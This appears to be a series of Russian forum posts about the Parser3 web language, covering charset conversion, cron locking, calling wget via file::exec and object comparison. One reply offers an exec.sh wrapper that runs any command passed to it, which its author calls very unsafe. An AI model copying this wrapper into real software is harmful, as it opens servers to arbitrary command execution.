#^complexExpressionObjectInstance.inc[]\
#аналогично вот этому:\
$temp(вычислить выражение в complexExpressionObjectInstance)\
#изменить значение переменной temp\
#теперь в этой переменной будет на 1 больше\
#объект complexExpressionObjectInstance остаётся без изменения\
^temp.inc[]\
$result(вычислить выражение в $complexExpressionObjectInstance)\
[/code]\
\
подставляем:\
[code]\
@main[]\
^getNext(123+456)\
\
@getNext[complexExpressionObjectInstance]\
#вот это:\
#^complexExpressionObjectInstance.inc[]\
#аналогично вот этому:\
$temp(вычислить выражение 123+456)\
#изменить значение переменной temp\
#теперь в этой переменной будет на 1 больше\
#объект complexExpressionObjectInstance остаётся без изменения\
^temp.inc[]\
#потом temp не используется, забываем про него\
#объект complexExpressionObjectInstance никто не менял\
\
$result(вычислить выражение 123+456)\
[/code]\
\
ровно так написано в документации.\
зачем так нужно, там тоже рассказано.\
\
если есть идеи, как это непротиворечиво улучшить, всегда пожалуйста.\
критику это-ж каждый может! каждый! (с) не знаю чей, исполнял Райкин (\"Люди и Манекены\", кто не видел, must see)"
"63531","http://www.parser.ru/docs/lang/params.htm\
вторая строчка:\
[quote]\
(выражение) - вычисление параметра происходит при каждом обращении к нему внутри вызова метода\
[/quote]\
\
совсем никто не прочитал?"
"63532","[quote]OK[/quote]\
то тут баг.\
переоптимизировано.\
\
это отдельный баг, тут переоптимизирован случай передачи выражения.\
пока не придумал, как его починить.\
\
должно быть, как и если передать $iTest\
\
постарайтесь в вашем коде строго следовать документации, этот баг будет исправлен."
"63533","многие наши собственные хостинги, где мы сами используем parser(CGI), держат на порядки большие нагрузки.\
используем обычные общедоступные компьютеры.\
и обычных аккуратных программистов.\
\
в наше портфолио загляните на досуге?\
это достаточно просто сделать."
"63534","Eсть test.ru/forum/ — где forum это физическая директория, со своим auto.p, в свою очередь много наследований идёт от основного auto.p (@main[]) находящегося, в директории test.ru\
\
При создании поддомена адрес форума, принял вид типа forum.test.ru — где forum стал директорией находящейся внутри test.ru и соответственно всё перестало работать :)\
\
Что и как нужно прописывать, что бы наследование шло обычным ходом и в случае изменения основного auto.p из test.ru мне не приходилось переопределять его в форуме (что бы можно было спокойно пользоваться пользовательскими классами и шаблоном находящимся в test.ru)?\
\
P.S.\
Экспериментировал с $CLASS_PATH и $request:document-root, но безерезультатно. Скорее всего, потому что неправильно делал.\
\
Всё это проделывал на Денвере."
"63535","Вы принципиально путаете выделенный под проект сервер (любой - пусть даже celeron MMX 300) и виртуальный хостинг.\
Ресурсы, которые доступны одному пользователю виртуального хостинга, равны тысячной доле машины. Да, машина мощнее, но тысяча (а то и две, три) - это тоже не слабо.\
Существуют эффективные технологии, существуют иные.\
У меня тоже www.1gb.ru на CGI работает, и на каждый запрос PHP читает ~1 мб исходнимков - и ничего, десятки запросов в секунду держит, потребляя десяток-другой процентов от сервера. Но это принципиально отличается от того, что мы можем предложить клиентам.\
\
А именно, клиентам предлагается, например, 5% от Xeon 3 ГГц. Если вы просто поделите, получится 150 мГц. Попробуйте запустить парсер на такой машине, представьте портал с десятками запросов к БД на страницу, БД там же, факт необходимости запуска Парсера на каждый запрос заново, и потом уже скажите, будет ли он там держать больше нескольких запросов в секунду.\
Я, так же как и вы программировал еще на 286 и знаю, что в принципе в этом нет ничего странного, можно и 300 запросов в секунду, но для кода приложений с уровнем абстракции, характерного для сегодняшних дней, ответ будет простой и иной - не будет."
"63536","И потом, про обычных аккуратных программистов - где вы их для веба вообще видели... сайт делает не программист, а веб-мастер, и этим всё сказано."
"63537","Думаю проксирование через модреврайт то что Вам надо"
"63540","но если там это и написано, то не значит, что понятно написано.\
1. формулировка \
[quote]вычисление параметра происходит при каждом обращении к нему внутри вызова метода[/quote]\
там указана практически дословно и для () и для {} - хотя это принципиально разные вещи (правда не всегда).\
2. из того, что он вычисляется каждый раз и из формулировки метода inc (dec) - происходит очевидное противоречие: хотя мы и можем к $i применять методы inc/dec - но фактически $i, если оно передано нам параметром - не изменяется.\
3. круглые скобки, насколько я понимаю - это единственный способ передать методу число, как число, а не как строку или junction. Поэтому, если мы хотим к передаваемому параметру внутри метода применять inc/dec -  то необходимо вызывать метод ^method(value).\
\
Исходя из этого, непонятно как же быть?\
\
Например у нас есть метод, возвращающий следующее число после переданного. Задача искусственная, только для примера, понятно что ф-ция может быть сложнее.\
\
[code]\
@func[i]\
$result[^i.inc[]]\
\
@main[]\
$value(1)\
^func($value)[/code]\
\
Как она работает, если верить документации?\
принимаем параметр i, \"вычисляем инкремент при обращении к i внутри метода\" - и передаем в $result -> получаем 2.\
\
Нифига - в $result вообще ничего не попадает, даже 1, а если написать $result(^i.inc[]) предполагая, что результат метода будет использован тоже как число (т.е. к нему тоже можно будет применить inc/dec) - то из метода вернется 0 (кстати, можете объяснить почему именно ноль??).\
\
Вы считаете, что это очевидно после прочтения документации??? :)"
"63541","конструкция \
[code]\
$result[^i.inc[]]\
[/code]\
\
написанная вами уже дважды, не корректна, т.к. в result записывается пустая строка, ибо ^i.inc[] не возвращает ничего."
"63542","пропустил слово \"почему\" в теме."
"63543","http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html#RewriteOptions\
\
Обратите внимание на ключик P\
Ключевое слово proxy\
Примеры с описанием причин ошибок в низу страницы"
"63546","...наличие разных кодировок доставляет вам такое же удовольствие, как и нам.\
Уже неделю думаю, кажется, что простыми способами задача неразрешима.\
\
Задача такая:\
1. Выгружаем из Excel таблицу в формате .csv (русские буквы в win1251)\
2. Закачиваем файл на сайт через форму\
3. Загружаем файл в таблицу\
4. Анализируем содержимое таблицы и отправляем в БД MySQL.\
\
Проблема в том, что у меня на сайте все в utf-8.\
А у конструктора ^table::load нет опции $.charset[windows-1251] \
[code]	$tThing[^table::load[upload.csv;\
		$.encloser[\"]\
		$.separator[^;]\
#		$.charset[windows-1251]\
	]]\
[/code]"
"63547","... можете собрать из CVS:HEAD.\
\
Или сделать следующее:\
[code]\
  $request:charset[windows-1251]\
  $thing[^table::load[upload.csv; $.encloser[\"] $.separator[^;]]]\
  $request:charset[utf-8]\
[/code]"
"63550","я так делал, не работает, в таблице оказываются данные в win1251...\
\
Версия 3.2.1"
"63551","сначала посмеялся, а потом подумал, что в немного доработанном виде метод имеет право на жизнь:\
1.ctrl+a,ctrl+c\
2.ctrl+v в textarea\
3.^table::create{$form:textareafild}\
тут уже сложно ошибиться при выборе области.\
Но вот что-то меня тут смущает, кривовато как-то чтоли...\
\
Кстати, выгрузить файл в win-1251 тоже не получается.\
Видимо придется выводить таблицу в 6000 строк в браузер и далее см.  п1,п2(в эксел)  :))))"
"63553","... просто откройте файл со своего же хоста по http:\
[code]\
  $thing[^table::load[http://yoursite.ru/thing.csv;$.charset[windows-1251]]\
[/code]\
\
p.s. Собрать Парсер из CVS совсем не хотите? :)"
"63554","Он по крону запускается с периодичностью, к примеру, каждую минуту, но, скажем, на выполнение может уйти от 1 секунды до 2-х минут.\
\
То есть как проверить, что в данный момент этот же скрипт не выполняется, а закончил.\
\
Вариант: писать файлик в начале скрипта, удалять в конце, а перед запуском проверять, что этого файлика нет.\
\
А как ещё можно?"
"63555","Тут вроде уже всё сказали и сказали правильно, но я, как представитель [url=\"http://www.bhost.ru\"]хостинга BHOST.RU[/url] чуть-чуть добавлю :-)\
\
Во-первых, на i386 shared-хостингов очень скоро, похоже, не останется: процессоры сейчас быстрые, ядер много, и чтобы их полноценно использовать надо много памяти. То есть, если хостинг не обещает поддержки Parser, то надо быть готовым найти клиентские sql-библиотеки от i386 при переносе сайта на x64 (aka amd64 aka EM64T).\
\
Во-вторых, ресурсы. Это больная тема, в споре dmih с PAF, где на самом деле правы оба, очень заметно. Самый критичный  ресурс, влияющий на соседей - использование CPU скриптами; иногда еще считают использование CPU MySQL. Остальное не так заметно, сильно загрузить дисковую систему довольно сложно, а память легко ограничивать. Как я понимаю, сейчас принято выделять каждому пользователю 2,5-5% CPU, но и это обычно не строгое ограничение, а то число, начиная от которого начинают рассылаться предупреждения или что-то подобное. Точные ограничения хорошие хостеры пишут в договоре или говорят по e-mail, если спросить.\
\
Очень подробно про то, как хостинги считают ресурсы, написали доклад коллеги из Петерхоста: http://peterhost.ru/highload_report.shtml\
\
Причина \"запретов на php-nuke\" обычно как раз неумение ограничивать или считать ресурсы. А если аккаунтинг есть, то на самом деле все равно, сколько ресурсов тратится на обработку одного запроса, важно, что выходит в итоге."
"63556","Можно запустить top и поискать нужный процесс.\
Я так делаю в sh скриптах, но их же можно и к Парсеру прикрутить..."
"63557","Сам я собрать не смогу... Тяму не хватает, да и софта необходимого тоже."
"63559","[url=http://oleg.volchkov.net/download/parser/parser3_2_2beta_opensuse103_xml.tar.gz]parser 3.2.2b Linux[/url]\
\
Собирал на OpenSUSE, но думаю, что на других линуксах проблем быть не должно."
"63561","ещё можно воспользоваться file:lock (в try), но до 3.2.2 там есть баг, поэтому это будет работать не всегда.\
\
только не забудьте, что скрипт по каким-либо причинам может не доработать до конца (произошла ошибка, его пристрелила ОС), соотв. запускающийся скрипт кроме наличия lock-файла должен проверять его время создания. например если вы расчитываете, что скрипт должен работать не более 5 минут, а запущеный скрипт видит, что с момента последнего изменения файла прошло более 30 мин, наверное надо его пристрелить как невалидный и работать."
"63564","Так можно же запускать из крона sh-скрипт с нужным именем, который уже запускает парсерный скрипт. Кстати, а можно ли запустить parser3.cgi с параметром file.html?"
"63567","под debian у меня так работает."
"63568","Попробуйте в консоле man iconv\
или iconv --help"
"63571","прописал и относительный, затем и /home/www/***/cgi/wrapper/wget/wget.sh\
\
все равно 254"
"63574","...это после того, как я перевел через shell. \
\
А до этого было:\
[i]text[/i] \
[i]status[/i] 1\
[i]stderr[/i] output.txt: Permission denied\
[i]stdout[/i]"
"63577","только [b]после[/b] совета про wget.sh, стало чисто. \
Остальное было до вопроса на форум в самом начале.\
\
1) [code]$data[^file::exec[../../../../usr/local/bin/wget;;--output-file=output.txt;http://www.yandex.ru]]\
[/code]\
\
[i]text[/i]\
[i]status[/i] 1\
[i]stderr[/i] output.txt: Permission denied\
[i]stdout[/i]\
\
\
2)\
[code]$data[^file::exec[/home/www/***/cgi/wrapper/wget/wget.sh;;--output-file=output.txt;http://www.yandex.ru]]\
[/code]\
\
[i]text[/i]\
[i]status[/i] 254\
[i]stderr[/i]\
[i]stdout[/i]"
"63578","В статусе 254, остальное чисто...\
\
[i]text\
status[/i] 254\
[i]stderr\
stdout[/i]\
\
...это [b]после того[/b], как я перевел через shell.\
А [b]до этого[/b] было:\
\
[i]text[/i]\
[i]status[/i] 1\
[i]stderr[/i] output.txt: Permission denied\
[i]stdout[/i]"
"63580","http://www.parser.ru/forum/?id=63571\
\
и так: /../cgi/wrapper/wget/wget.sh\
и по разному..."
"63581","[i]Внимание: рабочим каталогом запускаемой программы является текущий каталог.[/i]\
\
[code]$data[^file::exec[/../cgi/wrapper/wget/wget.sh;;--output-file=output.txt;http://www.yandex.ru]][/code]\
\
Что значит статус [i]254[/i] мне кто-нибудь скажет?"
"63582","но по моему это file not found.\
\
[quote]\
и так: /../cgi/wrapper/wget/wget.sh\
и по разному...\
[/quote]\
\
не бывает такого, чтобы при корректном (путь от корня заведомо некорректен) и не корректном путях показывалась одна и та-же ошибка. хотя может быть вы путаете путь и alias и указываете неверный относительный путь (или у вас document root указывает не туда, куда вы думаете). тогда у вас в обоих случаях файл не найден (для проверки положите sh в текущий каталог и обратитесь без пути. если сработает -- играйтесь с путями)."
"63583","[i]host.conf[/i]:\
[quote]DocumentRoot    /home/www/***/www [/quote]\
\
положил [i]wget.sh[/i] в [i]www[/i], статус изменился на 243."
"63587","...и в итоге опять 254 ))"
"63590","Напишите в вашем скрипте wget.sh :\
\
[code]#!/bin/sh\
/usr/bin/wget --help\
[/code]\
\
дерните его парсером - результат есть?"
"63593","[code]$data[^file::exec[../../../../usr/local/bin/wget;;--output-document=bb.txt;http://yandex.ru]]\
[/code]\
\
[i]stderr[/i] bb.txt: Permission denied\
\
Создал файл bb.txt, дал ему 755, не переписывает и не трогает. Что такое?\
\
[i]Wget 1.7[/i]. Может что с ним?"
"63594","Я вот не смог додуматься до загрузки по http...\
\
А собирать парсер = терять много времени(на мой взгляд, я этого еще не делал).\
Вот обошлись же средствами 3.2.1 - и прекрасно!"
"63595","[code]\
#!/bin/sh\
\
echo \"1\"\
[/code]\
\
не забывать про:\
- юниксовые переводы строк\
- executable"
"63596","В той программе, которой вы закидываете на сервер файл wget.sh\
какой стоит режим передачи файлов - бинарный или тектовый??\
\
дело в том, что вот этот скрипт:\
\
[code]#!/bin/sh\
/usr/bin/wget --help[/code]\
\
может выдавать 254 только в двух случаях - либо не наден wget по этому пути, что маловероятно, вы же его вызываете напрямую..\
Хотя я надеюсь что вы не просто скопировали, а поставили правильный путь до wget-а\
\
либо не найден интерпретатор sh. Сам то оно на месте, но если скрипт залит в бинарном режиме, то от виндовой \\r\\n остается \"хвост\" (M кажется) в конце строки. Это похоже на ваш случай."
"63597","есть и более простое решение\
\
exec.sh\
[code]#!/bin/sh\
$1[/code]\
\
А в скрипт можно тогда передавать все что угодно, например \
[code]\
^file:exec[exec.sh;;/usr/bin/wget --output-file.....][/code]\
\
правда это очень не безопасно..."
"63598","[code]--19:52:25-- http://yandex.ru/\
=&gt; `bb.txt'\
Connecting to yandex.ru:80... connected!\
HTTP request sent, awaiting response... 200 OK\
Length: 27,254 [text/html]\
0K .......... .......... ...... 100% @ 3.71 MB/s\
19:52:25 (3.71 MB/s) - `bb.txt' saved [27254/27254][/code]"
"63599","А то мне интересно, что из того, что сказал Миша в последнем сообщении было вами так ожидаемо и так помогло? :)"
"63601","у нас не совсем выделенные, но и не 5%, конечно.\
рад взаимопониманию."
"63604","такой вопрос:\
есть определенная система с авторизацией... т.е. вводишь логин/пароль - пускает в закрытыю зону.\
\
так вот, какими путями может быть зашита? cookie? HTTP_USER_AGENT? еще что-то?\
\
проблема в следующем: пытаюсь загрузить страницу с \"закрытой зоны\" через ^file::load - выдает текст, что не авторизован.\
Пробую загрузить ту же страницу с помощью Ajax - данные нормальные приходят...\
\
как-нибудь можно обойти эту проблему и загружать страницы парсером, а то даже передать данные в парсер через Ajax не удается... ("
"63605","А вообще лучше этот вопрос задать Яндексу или Гуглю"
"63606","Сделал так:\
1.Сохраняю таблицу в файл (в utf-8):\
[code]\
		^tThing.save[catalog.txt;\
			$.encloser[\"]\
			$.separator[^;]\
		]\
[/code]\
2.Корвертирую\
[code]\
	$script[^file::exec[/../script/recod.sh]]\
[/code]\
3.В recod.sh:\
[code]\
#!/bin/sh\
/usr/local/bin/iconv -f UTF-8 -t WINDOWS-1251 полный_путь/catalog.txt > полный_путь/catalog.csv\
[/code]\
4. выдаю файл: [code]	$response:download[^file::load[text;catalog.csv]]\
[/code]"
"63608","О языке С++ и о его предшественнике С (до него, кстати, был B), и наследнике С#, думаю, слышали многие, а вот \"владеть\" данным языком умеют лишь избранные. Полагаю, что веб-программист и системный программист — это не очень родственные специализации, а ставят и управляют серверами обычно администраторы, которые тоже обычно дальше написания простых скриптов для шелла в изучении вышеупомянутого языка не идут...\
Уверен, что не открыл ничего нового, но лишь постарался ответить в стиле.\
Лично мне знаний для грамотной отладки кода в VisualStudio, мягко говоря, не хватает. В любом случае, спасибо за ответ, подтверждающий, что баг все-таки имеет место."
"63609",":) как раз только Ваше сообщение вылезло :)\
\
поэтому тут и спросил, можно ли как-то через Parser дополнительные параметры передать или что-то вроде этого..."
"63612","думаете я не попробывал ни одного варианта, прежде, чем написать сюда? Менял стандартные заголовки ответа, загружал вначале страницу http://site.com/?login=user&pwd=pass и т.д.\
\
знаете ответ?\
буду рад услышать Copy/Paste - это самое простое, умеем )"
"63613","я имел ввиду следующее.\
\
Уважаемый Евгений в предыдущем посте посоветовал с чего начать.\
Простите за резкое слово, но вы тупо, не глядя скопировали его строчку, не удосужившись даже прочитать эти самые два слова, иначе вы не могли бы не заметить в этих двух словах опечатку, после чего конечно же нашли только его же пост (А если бы заметили и исправили опечатку - то нашли бы больше). Из чего лично я сделал вывод, что даже скопировать/вставить вы не можете самостоятельно. В таких случаях обычно очень трудно.\
\
Обычно в большинстве прикладных вещей, а программирование тут не исключение сначала надо думать а потом пробовать, а не наоборот. Поэтому ваши слова, что чего вы только не пробовали - это пустой звук, потому что хода мыслей вы не изложили (он был?), да и что пробовали тоже (какие то заголовки...)\
\
Также неизвестно, что за систему авторизации вы имеете ввиду, телепаты в отпуске.\
\
\
А на тему какие бывают вообще системы авторизации есть множество доступной информации, которую вы легко найдете пройдя по любой из поисковых систем, предложенных вам Евгением.\
\
Надеюсь на адекват.\
\
P.S. http://site.com/?login=user&pwd=pass  - так не делают никогда"
"63614","я ж говорю, что copy/paste - это самое просто е, вот подумать и поглядеть уже сложнее )\
ладно, спасибо за советы, я не правильно постал вопрос с самого начала...\
\
буду учиться думать сам )))))"
"63615","29 ноября, в четверг, в 19-00 при поддержке клуба «Бизнес в стиле RU»\
пройдёт 4-я встреча Moscow MySQL User Group\
\
Тема встречи: Проектирование индексов\
\
Встречу будет проводить Руслан Закиров,\
ведущий разработчик компании Best Practical Solutions,\
которая занимается разработкой открытых продуктов\
Request Tracker, SVK, Jifty, а также сервиса HiveMinder.com\
\
План встречи\
\
    1. Общие принципы устройства индексов.\
\
    2. Работа планировщика запросов:\
    - как планируется запрос\
    - как выполняется\
    - где в этой схеме индексы, сколько их.\
\
    3. Рассмотрим планы под лупой с помощью EXPLAIN:\
    - когда его читать\
    - как его читать, на что смотреть\
    - как его поменять используя индексы\
    - как его поменять используя дополнительные директивы\
    - и зачем это нужно.\
\
    4. Примеры:\
    Везде будут примеры, но более подробно мы остановимся на запросах, которые были на прошлой встрече в докладе и выжмем из них все соки, а также будут несколько примеров для демонстратиции различных эффектов и методов декомпозиции с целью увеличения эффективности использования индексов.\
\
Чтобы попасть на семинар, [url=http://blog.styleru.net/register/]зарегистрируйтесь[/url].\
\
Адрес проведения: Москва, Мясницкая, 20, ГУ-ВШЭ, Аудитория 116"
"63616","http://blog.styleru.net/mysql-moscow-ug/mysql3/"
"63617","Ибо попасть не смогу, но тема очень интересна"
"63618","Здравствуйте.\
\
Есть скрип рассылки, используется mail:send, текст берется из mysql базы, на странице отображается нормально.\
А при рассылке письма приходят с текстом в котором вставляется восклицательный знак и пробел и может перевод строки например:\
[b]курс развит! ия[/b]\
или \
[b]повысить качес! \
 тво[/b]\
или\
[b]п!\
 овысить[/b]\
\
Что то бьюсь,бьюсь, и никак не могу найти причину.\
Кто то уже сталкивался с такой проблемой?\
\
P.S. текст с базы проходит обработку: [code]$fullval[^untaint{$fullstory.full}][/code]\
Пробовал разные варианты, не помогло."
"63621","http://blog.styleru.net/webdev/mysql/\
http://www.parser.ru/forum/?id=63616"
"63622","Для пользователей Юникс/Линукс - продукт нормально работает под wine'ом."
"63623","и длинные строки разбить символом перевод строки по границе слов, например.\
\
мне правда не очень понятно, зачем отправлять такое. (если это html после transform, то можно например перед всеми <p> добавить символы перевода строки)."
"63628","что значит \"правильно верстать текст\" в применении к отправляемому письму?"
"63629","При размещении на сайте, имел ввиду. Но сейчас посмотрел, текст сверстан правильно, только вот предложения очень длинные.\
\
Рассылка происходит после размещения, и в том же виде(html), в котором выводится на страничку.\
\
Могу добавить про sendmail, что проверял на freebsd 6.3 и freebsd 4.5. Поведение одинаковое, строки разбиваются."
"63631","В базе хранится код HTML-таблицы, надо вывести его в определённое место, но как при выводе распознавать HTML-код? \
в PHP:  eval(\"print \"code\");   - а тут?"
"63633","Ну кроме тебя, естесственно, это я и так знаю :)\
\
Расскажите, каким редактором вы пользуетесь и есть ли там подсветка синтаксиса?"
"63634","Сделать подсветку к Смультрону так руки и не дошли."
"63635","Это я таких слов не знаю, кроме KDE. \
Интересуют макосевые редакторы"
"63641","Будет отправляться только заголовок статьи и ссылка на полную версию.\
Тем самым уменьшится нагрузка на сервер при рассылке и повысится посещаемость сайта."
"63642","The image \"[i]путь[/i]\" cannot be displayed, because it contains errors.\
\
Это картинкой отдаётся при:\
\
[code]$response:body[^i.gif[]][/code]"
"63645","Мне кода тоже импонирует.\
Есть какой-нибудь пример как ее расширить? Я бы поковырялся"
"63646","возможно где-то вместо ^i.line стоит ^i:line или $i[^img.line()] или что-то в этом духе"
"63648","А есть что-нибудь похожее на Coda (всё необходимое в одном месте) для винды?\
\
Посмотрел скриншоты... стало как-то грустно от работы в UEdit.\
\
Пора переходить на мак."
"63651","Вообще на маке юзать линукс как-то... странно."
"63652","Вобщем, кроме основного адреса. На сайт можно попасть через кучу алиасов.\
Дак вот хотелось бы понять. Какой именно адрес вбил пользователь в строчку запроса."
"63654","Поэтому использовать юниксовые редакторы не менее естественно, чем \"маковские\". Другое дело, что меня, например, ни один \"родной\" редактор (в том числе и упоминавшаяся сегодня Coda) не устраивают, поэтому и приходится работать с KDE. Благо из дарвиновских портов она ставиться элементарно."
"63655","Я говорю что странно. Это же мак. Ну... красота, дизайн... вот... понимаю там, виндовс, но линукс...  Короче пусть будет ИМХО\
\
А дабы ПАФ не затер это сообщение, добавлю содержательную часть. Как тут выяснилось, для коды должны подходить раскраски от SubEthaEdit. Вечером поковыряюсь, если будут результаты - выложу.\
\
ПС: а так как ПАФ теперь не должен стереть это сообщение вот еще капля флуда. Мак Ос Тэн - это переписанный NextStep, если уж меряться кто что больше знает :)"
"63656","Но походу вылезает это, когда доступ к файлу шрифта заблокирован чем-нибудь тип ACDSee."
"63657","[quote]«Расскажите, каким редактором вы пользуетесь и есть ли там подсветка синтаксиса?»[/quote]"
"63664","Я TextMate использую, писал раскраску синтаксиса для Parser, но случайно стер, когда устанавливал новую версию :( Будет свободное время, попробую написать заново."
"63665","Можно ли сделать ^image::create(1;1) с прозрачным фоном? Или тока один способ: создать на основе прозрачного гифа, а потом накладывать на него..."
"63668","Добрый день всем.\
Суть предложения такова. У меня есть некий проект для хранения и расчетов заказов предприятия. Т.к. я перешел на другую работу и времени стало мало, занимать в полную силу написанием доп. функционала нет возможности. В связи с этим ищется помошник. На сейчас есть конкретный заказчик и есть примерное описание необходимого функционала . Нужно оценить свою работу, я ее сообщу заказчику - и если все нормально - вы (совместно со мной) дописываете этот фунционал. \
База MySQL, система использует классы с этого сайта (за что огромное спасибо Misha v.3)\
За подробностями в мыло max.uraev[символ]жмаил.com или по тел. +7(916)808-1224 Максим."
"63669","если кому надо - могу выслать/выложить куда.\
собран head, пришлось собирать с gc 7.0"
"63670","тесты проходят?\
там требуется кое что переделать в коде.\
\
если переделали и всё заработало -- можете прислать patch или переделанные исходники целиком, я посмотрю и закомичу?\
\
P.S. с gc 7.0 у меня не завелось на freebsd 4.1, на win32/linux -- ok, на freebsd 6 пока не проверял."
"63672","Тесты не гонял, но мои вещи заработали нормально вроде.\
Буду еще тестировать сегодня."
"63673","В смысле не переделывал ничего, просто подставил gc7, 6.8 в упор не понимал версию фри.\
плюс добавил --with-dynamic-stdcpp\
постгрес драйвер тоже из cvs доставал и собирал"
"63676","Не как не пойму как его использовать.\
\
Думал так:\
\
в корневом auto.p:\
\
[code]\
@auto[]\
$connect_string[mysql://root@localhost/p_cms]\
\
$oSql[^MySql::create[$SQL.connect-string;\
	$.sCacheDir[/../data/sql_cache]\
]]\
[/code]\
\
И затем уже запросы:\
\
[code]$tResult[^oSql.table{запрос}][/code]\
\
Но сделав так, получаю ошибку:\
\
$sConnectString must be specified.\
\
Z:/home/cms/www/core/_class/_common/sql.p(30:10)\
throw	Z:/home/cms/www/core/_class/_common/sql.p(30:10)\
if	Z:/home/cms/www/core/_class/_common/sql.p(29:2)\
create	Z:/home/cms/www/core/_class/_common/mysql.p(30:7)\
create	Z:/home/cms/www/auto.p(5:15)\
connect-string	Z:/home/cms/www/auto.p(5:2)\
\
Как правильно ?"
"63678","Можно конечно заменить: $SQL.connect-string на $connect_string. Но зачемто же $SQL.connect-string нужна ? :)"
"63679","прогнал тесты\
упало в корку на \
106.html\
108.html\
109.html\
110.html\
111.html\
112.html\
113.html\
114.html\
116.html\
117.html\
119.html\
120.html\
142.html\
143.html\
144.html\
145.html\
146.html\
147.html\
148.html\
149.html\
\
поскольку не врубился как их запускать, запускал вот так\
ls *.html | while read html;do\
echo $html\
/usr/local/www/apache22/cgi-bin/parser3.cgi $html 2>>parser3.stderr\
ls *.core | while read core;do\
echo $html  >>cores\
rm $core\
done\
done"
"63680","я запускаю так:\
[code]\
cd tests\
make tests\
[/code]\
\
%-)\
но на freebsd 4 они у меня в таком виде не пускаются, на solaris/linux/win32 (под cygwin) -- ok.\
\
с xml собирали? все тесты не просматривал, но вижу что с xml не работает у вас...\
ещё вижу что вы проверили только \"выполняется-ли?\", а тесты сверяют ещё и outputs с results."
"63682","Есть хэш в отдельном классе:\
[code]\
@gethash[]\
$hash[\
	$.id[...]\
	$.items[^table::create{		name\
		item1\
		item2\
		item3\
	}]\
]\
$result[$hash]\
[/code]\
Вызываю его на страничке\
[code]\
$hash[^class:gethash[]]\
ID: $hash.id <br />\
Items: <br />\
$items[^table::create[$hash.items]]\
^items.menu {$item.name}[<br />]\
[/code]\
Получается, чтобы получить табличные данные из хеша надо ещё одну таблицу создавать...\
\
Нельзя, обойтись чем-нибудь вроде\
[code]^hash.items.menu{ ... }[/code]\
?"
"63687","Давно мучает вопрос сравнения ссылок на объекты.\
Например в яваскрипте\
a == b \
даст true, если a указывает на тот же объект, что и b\
\
в парсере то же самое?"
"63689","А можно подробнее?\
С поянениями.\
))"
"63690","- ссылки не сравниваются\
- '==' -- сравнение в скалярном контексте\
- каждый объект в скалярном контексте имеет своё представление: table -- количество строк, hash -- количество записей, date -- количество секунс с ... года, int/double -- as is, string -- пытается преобразоваться к int, bool -- 1/0\
\
все этим пользуются:\
[code]^if($table){таблица содержит что-то}{таблица пуста}\
^if($hash){в хеше что-то есть}{хеш пуст}\
^if($bool){истина}{ложь}\
^if($int){не ноль}{ноль}\
...[/code]\
\
=>\
[code]^if($table_with_one_row == 1){равно}\
^if($table_with_one_row == $another_table_with_one_row){равно}\
^if($table_with_one_row == $hash_with_one_key){равно}\
^if($hash_with_one_item == $bool_true){равно}\
...\
[/code]\
\
узнать что одна таблика равна другой с помощью подобного сравнение нельзя (да и вообще как это понять я слабо представляю).\
\
P.S. не проверял, но насколько я себе представляю -- это так.\
P.P.S. с помощью [url=\"http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/tests/152.html?rev=1.5&content-type=text/vnd.viewcvs-markup\"]этого теста[/url] вы можете посмотреть как работают преобразования для объектов разных типов. parser 3.2.2 required."
"63691","В моем представлении (так, во всяком случае, есть в других языках) такая конструкция:\
[code]\
$oA[^MyClass::create[]]\
$oB[$oA]\
$oC[$oA]\
	\
^if($oB == $oC){\
	yes\
}{\
	no\
}\
[/code]\
Должна возвратить yes\
а парсер дает ошибку: \
[i]oC is 'MyClass', it does not have numerical (double) value[/i]"
"63692","Встретился файл, на который парсер ругается словами not JPEG file - marker not found. Файл не битый, браузером показывается нормально, утилита file опознает его так:\
345.jpg: JPEG image data, JFIF standard 1.02\
\
Начинается он вроде бы тоже нормально:\
[code]\
00000000  ff d8 ff e0 00 10 4a 46  49 46 00 01 02 01 00 60  |......JFIF.....`|\
00000010  00 60 00 00 ff e1 7d 08  45 78 69 66 00 00 49 49  |.`....}.Exif..II|\
00000020  2a 00 08 00 00 00 13 00  fe 00 04 00 01 00 00 00  |*...............|\
00000030  00 00 00 00 00 01 03 00  01 00 00 00 b8 09 00 00  |................|\
00000040  01 01 03 00 01 00 00 00  b5 0d 00 00 02 01 03 00  |................|\
00000050  03 00 00 00 f2 00 00 00  03 01 03 00 01 00 00 00  |................|\
00000060  05 00 00 00 06 01 03 00  01 00 00 00 02 00 00 00  |................|\
00000070  11 01 04 00 b5 0d 00 00  f8 00 00 00 12 01 03 00  |................|\
00000080  01 00 00 00 01 00 00 00  15 01 03 00 01 00 00 00  |................|\
00000090  03 00 00 00 16 01 04 00  01 00 00 00 01 00 00 00  |................|\
000000a0  17 01 04 00 b5 0d 00 00  cc 37 00 00 1a 01 05 00  |.........7......|\
000000b0  01 00 00 00 a0 6e 00 00  1b 01 05 00 01 00 00 00  |.....n..........|\
000000c0  a8 6e 00 00 1c 01 03 00  01 00 00 00 01 00 00 00  |.n..............|\
000000d0  28 01 03 00 01 00 00 00  02 00 00 00 31 01 02 00  |(...........1...|\
000000e0  1c 00 00 00 b0 6e 00 00  32 01 02 00 14 00 00 00  |.....n..2.......|\
000000f0  cc 6e 00 00 3d 01 03 00  01 00 00 00 01 00 00 00  |.n..=...........|\
00000100  69 87 04 00 01 00 00 00  e0 6e 00 00 0c 6f 00 00  |i........n...o..|\
00000110  08 00 08 00 08 00 08 00  00 00 89 01 00 00 8c 03  |................|\
00000120  00 00 0b 06 00 00 b4 08  00 00 95 0b 00 00 c1 0e  |................|\
00000130  00 00 1d 12 00 00 ca 15  00 00 e6 19 00 00 58 1e  |..............X.|\
00000140  00 00 dd 22 00 00 62 27  00 00 0f 2c 00 00 d9 30  |...\"..b'...,...0|\
00000150  00 00 f9 35 00 00 39 3b  00 00 9a 40 00 00 3e 46  |...5..9;...@..>F|\
00000160  00 00 4c 4c 00 00 d6 52  00 00 ad 59 00 00 c7 60  |..LL...R...Y...`|\
[/code]\
\
К сожалению, выложить этот файл у меня нет возможности, но если это баг и у кого-нибудь возникнет желание его пофиксить - вышлю."
"63693","Здесь работа с указателями полностью скрыта от программиста. То, что Парсер большую часть своих объектов передает по ссылке, не более, чем внутрненняя оптимизация. :)\
\
А вот сделать возможность для любого класса определить \"безымянное\" свойство (значение которого учитывалось бы в выражениях) очень бы хотелось:\
[code]\
@CLASS\
myClass\
\
@create[]\
\
@GET[]\
  $result(1)\
\
...\
\
@main[]\
  $my[^myClass::create[]]\
  ^if($my){Верно}\
[/code]"
